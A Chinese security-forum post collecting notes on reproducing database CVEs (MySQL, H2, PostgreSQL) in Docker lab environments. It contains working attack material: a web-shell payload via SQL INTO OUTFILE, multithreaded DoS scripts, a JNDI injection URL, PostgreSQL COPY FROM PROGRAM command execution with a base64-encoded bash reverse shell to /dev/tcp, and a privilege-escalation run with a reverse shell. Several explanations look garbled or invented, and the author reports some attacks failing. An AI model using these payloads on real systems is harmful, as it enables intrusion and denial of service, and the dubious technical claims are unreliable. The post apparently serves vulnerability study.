-
-
[原创]数据库漏洞cve学习和复现
-
发表于: 2025-2-22 11:13 3618
-
哎,有点迷茫 自己的路在何方?看了好多资料,有的几乎都一样,并且自己复现时还发现根本不成功啊!视频操作更是少的可怜呀
小公司,大佬都忙,也没人愿意花时间指点自己,现在把自己整理资料分享出来,朋友们少走点弯路,大家有问题也可以留言交流哈 ps:手机端浏览有问题的可以在电脑端看!
https://www.freebuf.com/vuls/411090.html
CVE-2024-21096漏洞攻击链的具体实现步骤
攻击者通过篡改MySQL版本信息,利用mysqldump生成的SQL文件在导入时执行恶意代码。以下是分步技术解析:
1. 攻击前提条件
- 本地权限:攻击者需具备MySQL Server的本地访问权限(如通过SSH、数据库管理员账户或服务器入侵)。
- 版本范围:目标MySQL Server版本为8.0.0至8.0.36。
- 导出-导入流程:管理员需使用受污染的mysqldump导出数据,并在另一服务器导入该SQL文件。
2. 攻击链实现细节
步骤1:篡改MySQL版本信息
- 目标:将恶意SQL代码注入版本信息。
- 技术手段:
由于MySQL的version_compile_os
和version_compile_machine
等系统变量在默认情况下为只读,攻击者需通过以下方式修改版本信息:
- 重新编译MySQL:攻击者修改MySQL源码中的版本定义(如
VERSION
宏),加入恶意代码并重新编译部署。
示例:将#define MYSQL_SERVER_VERSION "8.0.36"
改为"8.0.36'; DROP TABLE users; -- "
。 - 动态库劫持:通过LD_PRELOAD劫持
mysql_get_server_info()
函数,返回恶意版本字符串。 - 伪造MySQL实例:使用工具(如
mysql-mimic
)搭建恶意MySQL服务,在握手阶段返回伪造的版本信息。
步骤2:生成恶意SQL文件
- 触发mysqldump漏洞:
管理员执行mysqldump
导出数据库时,工具通过mysql_get_server_info()
获取被篡改的版本信息,并写入导出的SQL文件中的条件注释(Version-Specific Comments)。
示例:
假设版本信息被篡改为8.0.36'*/; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/[www/html/shell.php](https://www/html/shell.php)' --
,生成的SQL文件会包含以下内容:
/*!80036'*/; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' -- */;
- 关键点:
*/
闭合原始注释,后续分号;
将恶意语句从注释中逃逸为有效SQL。INTO OUTFILE
将Web Shell写入服务器可访问路径。
步骤3:导入恶意SQL文件
- 执行恶意代码:
当管理员在另一服务器执行mysql -u root -p < dump.sql
时,MySQL解析器处理条件注释的逻辑如下:
- 若目标服务器版本≥
80036
(即8.0.36
),则尝试执行/*!80036 ... */
中的内容。 - 注释内的
*/
提前终止注释,后续的SELECT ... INTO OUTFILE
作为独立语句执行,写入Web Shell。 - 攻击者通过访问
[http://target/shell.php](http://target/shell.php)?cmd=id
即可执行任意命令。
步骤 4:连接到 MySQL 数据库
- 通过 Docker 连接到 MySQL 容器: 使用以下命令进入 MySQL 容器的命令行:bash复制
sudo docker exec -it mysql-5.7.20 mysql -uroot -p #注意 -it mysql-5.7.20 ,mysql-5.7.20这个是你之前--name 的名字
输入你在启动容器时设置的 root 密码,即可进入 MySQL 命令行。
- 测试数据库连接: 在 MySQL 命令行中,运行以下命令测试连接:sql复制
SHOW DATABASES;
3. 漏洞利用的代码级分析
- 原始漏洞代码(未修复):
// mysqldump.c(漏洞版本) const char *server_version = mysql_get_server_info(&mysql); fprintf(sql_file, "/*!%s*/\n", server_version); // 直接写入未过滤的版本信息
- 恶意版本信息注入:
若server_version
被篡改为80036*/; DROP DATABASE prod; --
,则生成的SQL为:
/*!80036*/; DROP DATABASE prod; -- */
- 解析结果:
/*!80036*/
被识别为条件注释,若目标服务器版本≥8.0.36则执行空操作。; DROP DATABASE prod; -- */
成为独立SQL语句,导致数据库删除。
5. 实际攻击场景示例
- 攻击者本地篡改版本信息:
# 修改MySQL源码并重新编译 sed -i 's/MYSQL_SERVER_VERSION "8.0.36"/MYSQL_SERVER_VERSION "8.0.36*/; SELECT 1; -- "/g' include/mysql_version.h make install
运行
- 管理员导出数据库:
mysqldump -u root -p mydb > backup.sql
运行
- 生成的SQL文件片段:
/*!80036*/; SELECT 1; -- */
- 导入时触发恶意代码:
mysql -u root -p mydb < backup.sql # SELECT 1被执行
运行
总结
CVE-2024-21096的利用依赖于本地权限+元信息注入+导出/导入流程的组合条件。攻击者通过
漏洞环境搭建
CVE-2018-2696
在 Ubuntu 系统上通过 Docker 拉取并运行 MySQL 5.7.20 的官方镜像,可以按照以下步骤进行操作。以下是详细步骤和命令:
步骤 1:安装 Docker
如果你还没有安装 Docker,请先安装 Docker。以下是安装 Docker 的基本步骤:
- 更新系统包:bash复制
sudo apt-get update sudo apt-get upgrade -y
- 安装 Docker:bash复制
sudo apt-get install -y docker.io
- 验证 Docker 是否安装成功:bash复制
sudo docker --version
- 将当前用户添加到
docker
组(可选): 如果你不希望每次运行 Docker 命令时都使用sudo
,可以将当前用户添加到docker
组:bash复制
sudo usermod -aG docker ${USER}
然后注销并重新登录,或者重启系统以使更改生效。
步骤 2:拉取 MySQL 5.7.20 官方镜像
- 拉取 MySQL 5.7.20 镜像: 使用以下命令从 Docker Hub 拉取 MySQL 5.7.20 的官方镜像:bash复制
sudo docker pull mysql:5.7.20
这将从 Docker Hub 下载 MySQL 5.7.20 的镜像到本地。
- 验证镜像是否下载成功:bash复制
sudo docker images
你应该能看到 mysql:5.7.20
镜像在列表中。
步骤 3:运行 MySQL 容器
- 创建并运行 MySQL 容器: 使用以下命令启动一个 MySQL 容器,并设置必要的环境变量:bash复制
sudo docker run --name mysql-5.7.20 -e MYSQL_ROOT_PASSWORD=your_password -d mysql:5.7.20 sudo docker run --name mysql5.7.20 -e MYSQL_ROOT_PASSWORD=mypassword -d mysql:5.7.20 #通过 Docker 命令行参数禁用 SSL #在启动 MySQL 容器时,可以通过 --ssl=0 参数直接禁用 SSL。 docker run --name mysql5.7.20 -e MYSQL_ROOT_PASSWORD=mypassword -p 3306:3306 -d mysql:5.7.20 --ssl=0
最终使用:docker run --name mysql5.7.20 -e MYSQL_ROOT_PASSWORD=mypassword -p 3306:3306 -d mysql:5.7.20 --ssl=0
参数说明:
--name mysql-5.7.20
:为容器指定一个名称,方便后续管理。-e MYSQL_ROOT_PASSWORD=your_password
:设置 MySQL 的 root 用户密码。将your_password
替换为你自己的密码。-d
:以后台模式运行容器。mysql:5.7.20
:指定使用的镜像版本。
- 验证容器是否运行成功:bash复制
sudo docker ps
你应该能看到一个名为 mysql-5.7.20
的容器正在运行。
步骤 4:连接到 MySQL 数据库
- 通过 Docker 连接到 MySQL 容器: 使用以下命令进入 MySQL 容器的命令行:bash复制
sudo docker exec -it mysql-5.7.20 mysql -uroot -p
输入你在启动容器时设置的 root 密码,即可进入 MySQL 命令行。
- 测试数据库连接: 在 MySQL 命令行中,运行以下命令测试连接:sql复制
SHOW DATABASES;
步骤 5:(可选)持久化数据
默认情况下,容器中的数据在容器删除后会丢失。为了持久化数据,可以将容器的数据库目录挂载到宿主机的目录。
- 创建数据存储目录:bash复制
sudo mkdir -p /data/mysql
- 启动容器并挂载数据目录:bash复制
sudo docker run --name mysql-5.7.20 -e MYSQL_ROOT_PASSWORD=your_password -v /data/mysql:/var/lib/mysql -d mysql:5.7.20
参数说明:
-v /data/mysql:/var/lib/mysql
:将宿主机的/data/mysql
目录挂载到容器的/var/lib/mysql
目录,用于持久化数据。
总结
通过以上步骤,你可以在 Ubuntu 系统上使用 Docker 拉取并运行 MySQL 5.7.20 的官方镜像,并连接到数据库。如果需要持久化数据,可以通过挂载宿主机的目录来实现
1. 环境搭建(用最糙的方式干)1.1 直接用Docker拉取漏洞版本镜像
# 拉取MySQL 5.7.20的官方镜像(这版本漏洞还没被日穿) docker run --name mysql-pwn -e MYSQL_ROOT_PASSWORD=toor -d mysql:5.7.20 # 如果拉不到旧版,加这参数强制用老架构(某些新系统会报错) docker run --platform linux/amd64 --name mysql-pwn -e MYSQL_ROOT_PASSWORD=toor -d mysql:5.7.20
bash
(可省略)如果Docker镜像库抽风,直接去 官方归档站的二进制包:
wget https://downloads.mysql.com/archives/get/p/23/file/mysql-5.7.20-linux-glibc2.12-x86_64.tar.gz tar -zxvf mysql-5.7.20-linux-glibc2.12-x86_64.tar.gz cd mysql-5.7.20-linux-glibc2.12-x86_64 ./bin/mysqld --initialize --=mysql --basedir=$PWD --datadir=$PWD/data # 启动时强制启用sha256插件,省得改配置文件 ./bin/mysqld_safe --default-authentication-plugin=sha256_password &
bash
1.2 配置认证插件进到MySQL里操作用户权限:
-- 创建专门用来日的高危用户 CREATE USER 'pwnme'@'%' IDENTIFIED WITH sha256_password BY 'initial_pass'; -- 给这个 用户开最高权限,方便后续日穿 GRANT ALL PRIVILEGES ON *.* TO 'pwnme'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES;
sql这段文本是一个SQL命令,用于在MySQL数据库中创建一个新用户。具体解释如下:
CREATE USER 'pwnme'@'%'
:创建一个名为pwnme
的用户,该用户可以从任何主机连接到数据库(%
表示所有主机)。IDENTIFIED WITH sha256_password BY 'initial_pass'
:使用 SHA-256 哈希算法对用户的密码进行加密,并设置初始密码为initial_pass
。
总结来说,这条命令的作用是创建一个可以从任何地方连接到数据库的用户 pwnme
,并为其设置一个使用 SHA-256 加密的初始密码 initial_pass
。
-------
这条SQL语句的作用是授予用户 pwnme
来自任何主机('%'
表示所有主机)的所有权限(ALL PRIVILEGES
),并且这些权限适用于所有数据库和所有表(*.*
)。此外,WITH GRANT OPTION
选项允许该用户将这些权限再授予其他用户。
具体解释如下:
GRANT ALL PRIVILEGES
:授予所有权限。ON *.*
:权限适用于所有数据库和所有表。TO 'pwnme'@'%'
:将权限授予用户pwnme
,且该用户可以从任何主机连接。WITH GRANT OPTION
:允许该用户将这些权限授予其他用户。
---------
FLUSH PRIVILEGES;
刷新权限; 这条SQL命令用于重新加载MySQL权限表,确保所有权限更改生效。这通常在修改了用户权限后执行,以使新设置立即生效。
1.3 关掉SSL(让漏洞更容易 )默认SSL会干扰攻击,直接修改my.cnf加上这行:
[mysqld] ssl=0
ini
然后重启服务:
docker restart mysql-pwn # 如果用Docker mysql-pwn 之前的名字 # 或者手动杀的进程 kill -9 $(pgrep mysqld) && ./bin/mysqld_safe --ssl=0 &
bash
2. 生成超长密码(直接往死里塞) 上dd命令生成1GB的垃圾数据当密码:》》》尝试了好像一只需要ssl认证,也没搞定 求指点
dd if=/dev/urandom of=password.txt bs=1M count=1024 # 生成1GB的二进制密码 # 或者用base64编码避免特殊字符问题 head -c 1000000 /dev/urandom | base64 > password.txt
bash
在 Ubuntu 系统中,查看 CPU 占用情况可以通过多种工具和命令实现。以下是一些常用的方法:
方法 1:使用 top
命令
top
是一个实时显示系统中各个进程资源占用情况的工具,非常适合查看 CPU 占用。
- 打开终端。
- 运行
top
命令:bash复制
top
在 top
的输出中:
- %CPU:表示进程占用的 CPU 百分比。
- PID:进程 ID。
- USER:进程所属用户。
- COMMAND:进程名称。
你可以通过按 Shift + P
按 CPU 占用排序,以便快速找到占用 CPU 最高的进程。
这坨密码会让MySQL的哈希计算直接高潮到CPU烧毁。
3. 发起DoS攻击( 服务器喷屎)
3.1 原始命令行爆破虽然mysql客户端可能扛不住大输入 : 》》》发现没问题啊,真气人
# 把密码文件塞进mysql命令 mysql -u pwnme -p$(cat password.txt) # 如果客户端崩溃,改用Perl一行脚本绕限制 perl -e 'print "A"x1000000' | mysql -u pwnme -p
bash
观察服务器CPU瞬间飙到100%,用htop看核心全红
3.2 多线程并发冲击写个Python脚本同时日它几百个连接:
import subprocess from threading import Thread def fuck_mysql(): try: subprocess.run(["mysql", "-u", "pwnme", "-pA"*1000000, "-h", "靶机IP"], timeout=5) except: pass for _ in range(100): # 同时发起100个连接 Thread(target=fuck_mysql).start()
python
运行后服务器的CPU和内存满了 直到进程 崩溃。
4. 漏洞原理深度解剖
•
CPU资源榨取:sha256_password插件调用OpenSSL的SHA256_Init/Update/Final函数时,对超长密码进行逐块哈希计算,但MySQL没做分块处理,导致单次计算直接吃满CPU缓存。
•
栈溢出:alloca()在栈上分配内存,当密码长度超过栈大小时(默认8MB),直接触发段错误(segfault),可以用ulimit -s unlimited临时扩大栈空间观察崩溃延迟。
•
绕过防护:现代系统有ASLR和栈保护,但连续发送超长密码仍可导致服务fork子进程崩溃,最终父进程(mysqld)因频繁重启而拒绝服务。
5. 事后取证(看它怎么被日烂)
•
日志分析:检查MySQL的error.log,会看到大量Got packets out of order和stack overflow错误。
•
核心转储:用gdb分析coredump文件,bt full查看崩溃时的栈帧,定位到my_crypt_genhash()函数地址。
•
网络抓包:用tcpdump抓取攻击流量,会发现认证阶段的数据包巨大(>1MB),远超正常登录流量。
如果遇到防火墙拦,直接iptables -F清规则
docker操作
在 Ubuntu 上使用 Docker 运行 MySQL 容器后,如果你停止了容器,你可以通过以下步骤重新启动它,并确保可以通过宿主机的 3306 端口访问 MySQL 数据库。
- 查看已停止的容器:
首先,你可以使用docker ps -a
命令查看所有容器(包括已停止的)。找到你的 MySQL 容器的容器 ID 或名称。
docker ps -a
你应该能在列表中看到名为 mysql5.7.20
的容器,状态为 Exited
。
- 重新启动容器:
你可以使用docker start
命令来重新启动已停止的容器。
docker start mysql5.7.20
如果容器名或 ID 有误,docker
会提示你。
- 验证容器是否正在运行:
使用docker ps
命令来查看当前正在运行的容器。
docker ps
你应该能在列表中看到 mysql5.7.20
容器正在运行。
- 端口映射:
当你首次运行容器时,如果使用了-p
选项来指定端口映射(例如-p 3306:3306
),那么 Docker 会将宿主机的 3306 端口映射到容器的 3306 端口。但是,在你提供的命令中,你没有包含-p
选项。
如果容器已经停止并且你想要重新启动它,同时确保端口映射正确,你需要使用 --rm
选项删除已停止的容器(如果不再需要它的数据),然后重新运行容器并包含 -p
选项。但是,由于你已经有了数据,你可能想要保留容器并使用 docker commit
来创建一个新的镜像,或者简单地重新启动容器并手动设置端口转发(如果 Docker 支持在运行中的容器上修改端口映射,但这通常不是推荐的做法)。
然而,更简单的方法是直接删除已停止的容器(如果数据不重要或已经备份),然后重新运行容器,这次包含 -p
选项:
docker stop mysql5.7.20 docker rm mysql5.7.20 docker run --name mysql5.7.20 -e MYSQL_ROOT_PASSWORD=mypassword -p 3306:3306 -d mysql:5.7.20
注意:上面的命令会删除并重新创建容器,这意味着你会丢失所有未持久化的数据。
如果你想要保留数据,你应该在首次运行容器时使用 Docker 卷(volumes)来持久化数据。
- 访问 MySQL 数据库:
一旦容器正在运行并且端口映射正确,你就可以通过宿主机的 3306 端口访问 MySQL 数据库了。你可以使用 MySQL 客户端工具(如mysql
命令行客户端、MySQL Workbench 等)来连接到数据库。
例如,使用 mysql
命令行客户端:
mysql -h 127.0.0.1 -P 3306 -u root -p
然后输入你在运行时设置的 root 密码(mypassword
)。
请注意,如果你在生产环境中运行 MySQL 容器,强烈建议使用 Docker 卷来持久化数据,并确保你的数据库密码和其他敏感信息得到妥善保护。
docker run --name mysql5.7.20 -e MYSQL_ROOT_PASSWORD=mypassword -p 3306:3306 -d mysql:5.7.20
修改容器内的 MySQL 配置文件
如果你已经启动了容器,可以通过以下步骤修改容器内的配置文件来禁用 SSL:
1. 进入容器
bash复制
docker exec -it my-mysql bash
2. 编辑 MySQL 配置文件
在容器内,编辑 MySQL 的配置文件 /etc/mysql/my.cnf
或 /etc/mysql/mysql.conf.d/mysqld.cnf
,在 [mysqld]
部分添加以下内容:
向文件追加内容
bash复制
echo "ssl=0" >> /etc/mysql/my.cnf
示例:覆盖文件内容
bash复制
echo "ssl=0" > /etc/mysql/my.cnf
其他数据库
配置不当导致的信息泄露
H2db console 未授权访问RCECVE-2022-23221(ok)
H2 Database Console未授权访问 - kalixcn - 博客园
H2 Database Console未授权访问 - kalixcn - 博客园
CVE-2022-23221是一个严重的远程代码执行(RCE)漏洞,影响H2数据库。该漏洞允许攻击者通过JDBC URL注入特定字符串来执行任意代码。以下是详细信息:
漏洞描述
- 漏洞名称: CVE-2022-23221
- 影响版本: H2数据库 1.4.197 及以下版本
- 漏洞类型: 远程代码执行(RCE)
- CVSS评分: 9.8(高危)
- 影响范围: 通过JDBC URL注入特定字符串,可以执行任意代码
git clone https://github.com/vulhub/vulhub
1. 环境搭建
使用Docker快速搭建漏洞测试环境:
git clone https://github.com/vulhub/vulhub.git cd vulhub/h2database/h2-console-unacc docker-compose up -d
运行
启动后kali访问 http://目标IP:8080/h2-console
,若无需认证即可进入控制台,说明存在未授权访问。
2. 漏洞检测
- 手动检测:访问控制台路径(如
/h2-console
),观察是否直接进入且无需登录。 - 工具检测:
- 使用
SB-Actuator
工具检测未授权访问。 - 通过Nessus插件(如
debian_DSA-5076.nasl
)扫描系统版本。
3. 利用链构造
方法一:JNDI注入攻击
- 启动恶意JNDI服务:
使用工具如JNDI-Injection-Exploit
:
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 下载链接:
项目地址:
jar下载地址:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "反弹shell命令" -A 攻击机IP
运行
生成RMI/LDAP服务地址(如rmi://攻击机IP:1099/Exploit
)。
┌──(root㉿kali-plus)-[~/Downloads] └─# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/test.txt -A "192.168.74.128" Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true [ADDRESS] >> 192.168.74.128 [COMMAND] >> touch /tmp/test.txt ----------------------------JNDI Links---------------------------- Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath): rmi://192.168.74.128:1099/2s77m3 Target environment(Build in JDK 1.7 whose trustURLCodebase is true): rmi://192.168.74.128:1099/siq2lw ldap://192.168.74.128:1389/siq2lw Target environment(Build in JDK 1.8 whose trustURLCodebase is true): rmi://192.168.74.128:1099/l2eyoj ldap://192.168.74.128:1389/l2eyoj
只需要修改-A "192.168.74.128" 后面这个ip要为kali的ip
- 触发漏洞:
在H2控制台中输入以下JDBC连接配置:
Driver Class: javax.naming.InitialContext JDBC URL: jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://攻击机IP/h2-poc.sql'\;JNDI://rmi://攻击机IP:1099/Exploit
提交后,目标服务器将加载恶意类并执行命令
成功页面:
https://blog.csdn.net/qq_74806534/article/details/137410858
https://www.modb.pro/db/104486
mysql CVE-2016-6663 条件竞争漏洞提权详情与POC
https://www.sqlsec.com/2020/11/mysql.html?hmsr=joyk.com#CVE-2016-6663
(CVE-2019-9193)PostgreSQL 高权限命令执行漏洞(ok)
(CVE-2019-9193)PostgreSQL 高权限命令执行漏洞 - FreeBuf网络安全行业门户
CVE-2019-9193),它能使某些数据库用户利用Postgres实现任意代码执行。这个漏洞几乎影响了PostgreSQL的所有版本(从9.3到最新的11.2),同时也影响了所有的操作系统:Windows,Linux和Mac
简介
PostgreSQL( 读作 Post-Gres-Q-L)是一个功能非常强大的、源代码开放的客户/服务器关系型数据库管理系统(RDBMS)。采用类似MIT的许可协议,允许开发人员做任何事情,包括在开源或闭源产品中商用,其源代码是免费提供的。
PostgreSQL特点:
Ø 支持WINDOWS、Linux、Solaris、macOS 、BSD。
Ø 支持文本、图像、视频、声音等
Ø 支持ACID、关联完整性、数据库事务、Unicode多国语言。
Ø 支持临时表,与物化视图
Ø 支持SQL的许多功能,例如复杂的SQL查询,子查询,外键,触发器,视图,视图,多进程并发控制(MVCC)、异步复制。
0x01漏洞概述
PostgreSQL是一个功能强大对象关系数据库管理系统(ORDBMS)。由于9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令
0x02影响版本
9.3-11.2
环境搭建
本次漏洞环境使用vulhub中的docker搭建,vulhub下载地址:
https://github.com/vulhub/vulhub
git clone https://github.com/vulhub/vulhub
2.下载完成后使用xftp传入安装有docker和环docker-compose境的虚拟机中解压并启动环境
cd vulhub-master/postgres/CVE-2019-9193
docker-compose up -d
3.使用docker ps查看是否启动成功
查看Ubuntu 的ip
4.启动成功后连接数据库,数据库初始账号密码为postgres/
postgres
切换到kali
使用 psql
命令行工具
- 确保已安装 PostgreSQL 在 Kali Linux 中,确保已安装 PostgreSQL:bash复制
sudo apt update sudo apt install postgresql postgresql-contrib
- 连接到 PostgreSQL 数据库 使用
psql
命令连接到数据库。以下是基本语法:bash复制
psql -h <host> -p <port> -U <username> -d <database>
<host>
:数据库服务器的 IP 地址或主机名(例如192.168.1.100
或localhost
)。<port>
:数据库的端口号(默认是5432
)。<username>
:数据库用户名。<database>
:数据库名称。
示例:bash复制
psql -h 192.168.1.100 -p 5432 -U postgres -d mydatabase
- 输入密码 连接时会提示输入密码。输入对应的数据库用户密码即可。
这里为:
┌──(root㉿kali-plus)-[~] └─# psql -h 192.168.74.129 5432 -U postgres -d postgres
命令执行验证
- 基础命令执行:
DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id; whoami; echo "Vulnerable"'; SELECT * FROM cmd_exec;
执行后,表中将显示当前用户的UID和用户名,验证漏洞存在
反弹Shell(需Base64编码):
- 监听端(Kali):
在kali中新开一个终端,
nc -lvvp 2333
- 攻击端(SQL语句):
COPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMS4xMDAvMjMzMyAwPiYxCg==" | base64 -d | bash';
此命令解码后为/bin/bash -i >& /dev/tcp/192.168.1.100/2333 0>&1
,用于绕过特殊字符解析问题。
这里192.168.1.100要改为kali的IP地址,然后base64 进行编码
base64在线编码网站
技术原理分析
- 功能设计缺陷:
COPY FROM PROGRAM
允许将程序输出导入数据库表,而PostgreSQL服务进程(通常以postgres
用户运行)直接执行命令,导致权限边界突破。 - 权限模型争议:
- 超级用户与操作系统用户
postgres
权限等同,无安全隔离
CVE-2016-6663
https://kernel32.org/posts/mysql-race-condition-and-privilege-escalation/
环境准备
国光改了基于网上的教程封装打包了一个 Docker 镜像上传到了 Docker Hub,现在大家部署就会方便许多:
bash
复制成功
# 拉取镜像 docker pull sqlsec/cve-2016-6663 # 部署镜像 docker run -d -p 3306:3306 -p 8080:80 --name CVE-2016-6663 sqlsec/cve-2016-6663 docker run -d -p 3306:3306 -p 8080:80 --name mysql6663 sqlsec/cve-2016-6663
添加一个 test 数据库用户,密码为 123456 并赋予一些基础权限:
sql
# 创建 test 数据库 mysql > create database test; # 设置 test 密码为 123456 mysql > CREATE USER 'test'@'%' IDENTIFIED BY '123456'; # 赋予基础权限 mysql > grant create,drop,insert,select on test.* to 'test'@'%'; # 刷新权限 mysql > flush privileges;
也可以将上述操作整合成一条命令:
bash
mysql -uroot -e "create database test;CREATE USER 'test'@'%' IDENTIFIED BY '123456'; grant create,drop,insert,select on test.* to 'test'@'%';flush privileges;"
漏洞复现
竞争条件提权漏洞,一个拥有 CREATE/INSERT/SELECT 低权限的账户提权成功后可以系统用户身份执行任意代码,提权的用户为 mysql 用户,概括一下就是将低权限的 www-data 权限提升为 mysql 权限
利用成功条件
- Getshell 拿到 www-data 权限 》》》上传shell.php 访问不到啊
- 拿到 CREATE/INSERT/SELECT 低权限的 MySQL 账户
- 关键提取步骤需要在交互环境下,所以需要反弹 shell
- MySQL 版本需要 <=5.5.51 或 5.6.x <=5.6.32 或 5.7.x <=5.7.14 或 8.x < 8.0.1
- MariaDB 版本需要 <= 5.5.51 或 10.0.x <= 10.0.27 或 10.1.x <= 10.1.17
CVE-2016-6663 EXP mysql-privesc-race.c 参考链接:MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit
通过蚁剑上传 EXP,然后 Bash 反弹 shell:
首先 10.20.24.244 端口开启监听:
bash
➜ ~ ncat -lvp 2333 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::2333 Ncat: Listening on 0.0.0.0:2333
蚁剑终端下反弹 Bash:
bash
bash -i >& /dev/tcp/10.20.24.244/2333 0>&1
在反弹 shell 的情况下,首先编译 EXP:
bash
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
执行 EXP 提权:
bash
# ./mysql-privesc-race 数据库用户名 密码 数据库地址 数据库 ./mysql-privesc-race test 123456 localhost test
Bingo! 成功,最后的提权成功的效果如下:
要想获取 root 权限得配合 CVE-2016-6662 与 CVE-2016-6664 这两个漏洞,但是国光 CVE-2016-6664 漏洞复现失败了… 挖个坑,后续有机会再来总结,溜了溜了~
CVE-2018-2562
CVE-2018-2562 MySQL优化器漏洞 这漏洞本质上是优化器在处理某些傻逼子查询时逻辑崩了,导致CPU直接飙到100%然后服务瘫痪。 拉取漏洞版本的MySQL镜像
docker pull mysql/mysql-server:5.7.19
bash
如果拉不动,可以加个--platform=linux/amd64参数强制拉取
2. 启动容器时故意留后门 这漏洞需要网络访问触发,所以要把端口映射出来,顺便关掉SSL免得碍事:
docker run -d --name mysql-pwn -p 3306:3306 -e MYSQL_ROOT_PASSWORD=yourpassword --ssl=0 mysql/mysql-server:5.7.19 --default-authentication-plugin=mysql_native_password
bash
这里用--ssl=0强制禁用SSL,再用mysql_native_password认证避免登录
3. 构造恶意查询 连进数据库执行这条精心设计的SQL
SELECT 1 FROM ( SELECT 1 FROM ( SELECT /*+ MAX_EXECUTION_TIME(0) */ SLEEP(0) ) AS fuck1 JOIN ( SELECT 1 FROM ( SELECT 1 ) AS fuck2 ) AS fuck3 ) AS final;
sql
这个嵌套子查询的架构会触发优化器的递归解析漏洞,CPU会瞬间吃满,你可以用htop看着CPU核心被日穿》》》tmd,根本没看到爆满啊
4. 验证服务 执行完上述查询后,立刻用另一个终端尝试连接:
mysql -h 127.0.0.1 -uroot -pyourpassword
bash
如果返回"Can't connect to MySQL server",说明数据库已经 崩溃
漏洞原理深度解析 这个CVE的核心是优化器在解析多层派生表时,*疯狂消耗CPU资源。Oracle官方补丁后来在sql_optimizer.cc里加了递归深度检测,超过阈值直接报错中断,
进阶玩法:自动化爆破 写个Python脚本用多线程反复发送恶意查询:
import mysql.connector from threading import Thread def fuck_mysql(): try: conn = mysql.connector.connect( host="localhost", ="root", passwd="yourpassword" ) cursor = conn.cursor() cursor.execute("SELECT @@version") # 先确认版本 print(cursor.fetchone()) cursor.execute("""[上面那个恶意SQL]""") except Exception as e: print(f"Database fucked: {e}") for _ in range(20): Thread(target=fuck_mysql).start()
python
运行这个脚本后观察数据库进程,用docker stats看看CPU是不是直接冲上100%下不来环境清理 测试完记得删容器,别留后患:
docker rm -f mysql-pwn docker rmi mysql/mysql-server:5.7.19
MySQL/CVE-2012-2122 漏洞原理与成因(ok)
【SQL】CVE-2012-2122 MySQL身份认证绕过漏洞复现 - --Kisaragi-- - 博客园
漏洞原理
CVE-2012-2122 是 MySQL 的一个身份认证绕过漏洞。该漏洞的核心问题在于 MySQL 在处理用户登录时,对输入密码与正确密码的比较逻辑存在缺陷。
当用户尝试登录 MySQL 服务器时,输入的密码会被与服务器存储的正确密码进行比较。正常情况下,如果密码不匹配,memcmp()
函数会返回一个非零值,表示两个字符串不相等。然而,由于 MySQL 在某些情况下对 memcmp()
的返回值处理不当,导致即便 memcmp()
返回非零值,MySQL 仍可能错误地认为密码匹配。
具体来说,memcmp()
的返回值是一个整数,而 MySQL 的认证逻辑中,该返回值被错误地转换为布尔值(my_bool
,实际上是 char
类型)。这种类型转换可能导致返回值被截断,从而使得某些错误的密码被误认为是正确的。
漏洞成因
memcmp()
的返回值处理不当:
memcmp()
返回值范围为-128
到127
,但在某些优化后的实现中,返回值可能超出这个范围。- MySQL 在处理返回值时,将其从
int
类型强制转换为char
类型,导致返回值被截断。
- 密码比较逻辑缺陷:
- MySQL 在比较密码时,仅依赖于
memcmp()
的返回值。如果返回值被截断为0
,MySQL 会错误地认为密码匹配。
- 平台依赖性:
- 该漏洞的触发与 MySQL 的编译选项和运行平台有关。例如,当 MySQL 使用
-fno-builtin
编译选项,并且运行在经过 SSE 优化的 glibc 环境下时,漏洞更容易被触发。
漏洞影响
利用该漏洞,攻击者可以通过不断尝试错误密码,最终绕过身份认证,成功登录 MySQL 服务器。根据测试,大约在 256 次尝试后,攻击者可以成功登录。
受影响版本
- MariaDB:5.1.62、5.2.12、5.3.6、5.5.23。
- MySQL:5.1.63、5.5.24、5.6.6。
漏洞复现
Ubuntu 安装 git 并配置
1. 更新系统包列表
在安装任何软件之前,建议先更新系统的包列表。运行以下命令:
bash复制
sudo apt update
2. 安装 Git
使用 apt
包管理器安装 Git:
bash复制
sudo apt install git
安装完成后,可以通过以下命令验证 Git 是否安装成功:
bash复制
git --version
如果安装成功,你会看到类似以下的输出:
git version 2.34.1
3. 配置 Git 环境
为了更好地使用 Git,建议进行一些基本的配置。这些配置信息会存储在用户的主目录下的 .gitconfig
文件中。
3.1 设置用户名和邮箱
Git 使用用户名和邮箱来标识提交的作者。运行以下命令设置你的用户名和邮箱:
bash复制
git config --global user.name "Your Name" git config --global user.email "your_email@example.com"
将 Your Name
和 your_email@example.com
替换为你的实际姓名和邮箱。
5. 下载测试 Git
你可以通过克隆一个公共仓库来测试 Git 是否正常工作。例如:
bash复制
git clone https://github.com/vulhub/vulhub.git
- 启动测试环境:
- 使用 VulnHub 提供的
mysql/CVE-2012-2122
模块,通过以下命令启动环境:bash复制 - Vulhub 中的
mysql/CVE-2012-2122
模块,ls cd到目录,在vulhub/mysql/CVE-2012-2122
目录下使用docker-compose up -d
命令启动容器:
bash
docker-compose up -d
- 该环境会启动一个 MySQL 服务(版本 5.5.23),监听 3306 端口。
- 验证漏洞:
- 使用正确的用户名(如
root
)和错误的密码多次尝试登录:bash复制
for i in `seq 1 1000`; do mysql -uroot -pwrong -h <MySQL_IP> -P3306; done
修复建议
